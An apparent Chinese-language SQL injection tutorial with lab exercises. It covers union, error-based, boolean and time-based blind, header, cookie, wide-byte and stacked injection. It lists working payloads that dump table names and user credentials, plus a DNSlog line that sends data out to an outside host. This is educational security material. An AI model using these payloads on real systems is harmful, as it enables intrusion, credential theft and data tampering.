一、MySQL数据库
初始化安装mysql数据库后,会默认建立四个系统数据库
这张表将用于后续的注入
二、如何判断数据库类型
1、通过文件后缀
- .php的网站,常用数据库为MySQL、PostgreSQL
2、通过端口判断
- MySQL:3306
- PostgreSQL:5432
了解了一些基础知识后,我们接下来根据不同的注入举例说明
三、联合查询注入
1、原理
- union用于连接两个以上的select语句。前提是两个select必须有相同列
- 注入点前面有查询语句,我们可以通过union连接我们要查询的数据
- 由于前后查询语句需要有相同列,所有我们需要先判断注入点的列数。
- 我们通过order by判断。当order by字段数<注入点列数,显示正常;当order by字段数>注入点列数,出错
2、联合查询步骤
- 判断注入点
- 判断注入点字段数
- 确定显示的字段数
- 获取数据库中的表以及更多数据
3、案例
step1:判断注入点
依次输入' '' '''
可以得出存在注入,并且是‘闭合
step2:判断注入点字段数
?id=1'order by 3--+
?id=1'order by 4--+
可以得到,字段数为3
step3:确定显示的字段数
?id=-1'union select 1,2,3--+
这里将id的值设为-1(表中不存在的数据),从而显示后面select 1,2,3的内容
得到显示字段为2,3
step4:获取数据库中的表以及更多数据
①获取数据库名
?id=-1'union select 1,database(),3--+
②获取表名
?id=-1'union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3--+
- group_concat():将group by产生的同一个分组中的值连接起来,返回一个字符串结果
- 由MySQL数据库的结构可知,information_schema.tables存放了不同数据库的表
③获取user表的字段名
?id=-1'union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3--+
由MySQL数据库的结构可知,information_schema.columns存放了不同数据库中表的字段
④获取账号
?id=-1'union select 1,(select group_concat(username)from security.users),3--+
四、报错注入
1、原理
当输入内容有错时,页面会返回错误信息(如在xx附近语法错误),或者把注入的语句的。这时可以结合报错函数得到想要的数据
2、报错函数
- updatexml(xml_document,XPath_string,new_value)
- extractvalue(xml_frag,xpath_expr)
若xpath_expr参数不符合xpath格式,就会报错,在后续的练习中,我们使用到~符号(ascii码为0x7e)引发报错
3、练习
step1:判断注入点
由前面可以看到,在页面上会显示错误信息,接下来我们使用报错函数获取数据
step2:得到数据库名以及更多数据
①获取数据库名
?id=1'and extractvalue(1,concat(0x7e,database(),0x7e))--+
- concat()--字符串连接
- concat(0x7e,database(),0x7e)--database()前后都连接0x7e,避免因为显示长度的限制无法完整显示出数据时我们不知道
- 如果出现数据无法完全显示,可以使用截取函数substr()、left()等分批获得数据
②获取表名
?id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
③获取字段名
?id=1'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+
④获取账号密码
?id=1'and extractvalue(1,concat(0x7e,(select concat(username,'~',password) from security.users limit 0,1),0x7e))--+
五、盲目注入
1、布尔注入
①原理
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
②练习
step1:判断是否存在注入
step2:获得数据库名
使用burp对数据库长度进行破解
'+and+length(database())=1--+
这里要破解的是数据库名字长度,payload类型便设置为Number,填写数据库名字大致的长度范围
根据length判断正确的数据,得到长度为8
得到数据库名的长度为8后,使用substr函数继续破解每个位置的字母
'+and+substr(database(),1,1)='a'--+
使用Cluster bomb
payload1对应的范围为1-8
payload2需要填写所有的组成符号
根据回显时间得到正确的数据
2、盲目注入
①原理
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数(sleep),通过查看web页面返回的时间差来判断注入的语句是否正确。
使用sleep函数:判断是否存在时间盲注,1'+and+sleep(5)--+。返回超过5秒,说明存在时间盲注
②练习
step1:判断是否存在注入
admin'+and+if(1=1,sleep(3),0)#
step2:得到数据库名及更多信息
①使用burp对数据库长度进行破解
admin'+and+if(length(database())=1,sleep(3),0)#
这里要破解的是数据库名字长度,payload类型便设置为Number,填写数据库名字大致的长度范围
根据回显时间长度判断为真情况
②得到数据库名的长度为8后,使用substr函数继续破解每个位置的字母
admin'+and+if(substr(database(),1,1)='a',sleep(3),0)#
使用Cluster bomb
payload1对应的范围为1-8
Payload2是需要破解的字母,选择类型为simple list
根据回显时间得到正确的数据
根据不同位置对应的字母,得到数据库名为security
六、UA注入
1、原理
有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息, 此时就有可能存在UA 头注入,一般会把数据插入到某张表中所以可以用报错注入。
2、练习
step1:判断存在注入
step2:使用brup抓包,修改UA头注入,其他与报错注入类似
结合之前的报错注入,可以得到更多的数据
七、referer注入
1、原理
当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的,大部分网站或者app都会写入数据库用来分析量从哪里来,以及统计广告投入的成本 ,一般会把数据插入到某张表中所以可以用报错注入。
2、练习
使用brup抓包,修改referer头注入,其他与报错注入类似
八、dnslong外带
1、原理
我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。
dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。
2、练习
' and (select load_file(concat('\\',(select database()),'.4me948.dnslog.cn/abc'))) --+
九、cookie注入
1、原理
对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数
修改自身cookie , 后台获取到这个cookie后 , 会直接拿去数据库里面进行比较 , 比较的时候就有可能注入
2、练习
在输入一个正确的账号和密码后,使用burp进行抓包
在cookie栏依次输入' '' '''发现存在周期性变化 那么说明存在注入点
使用报错函数得到数据库名
十、宽字节注入
1、原理
数据库使用gbk编码的时候,会将两个字符合并成一个中文。 特殊值字符如单引号都会被转义 ' -> '
mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%df%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)
所以如果我们输入%df%27(%27就是单引符号会被转义成' 也就是%5c%27),在后台%df会将%5c“吃掉”,组成一个汉字(%df%5c是一个汉字)。
2、练习
这里结合联合注入得到数据库名(就不细讲了)
?id=-1%df%27union select 1,(database()),3--+
十一、堆叠注入
1、原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
联合注入和堆叠注入的区别: 区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
2、练习
?sort=1;insert into users values(22,1,1)
成功插入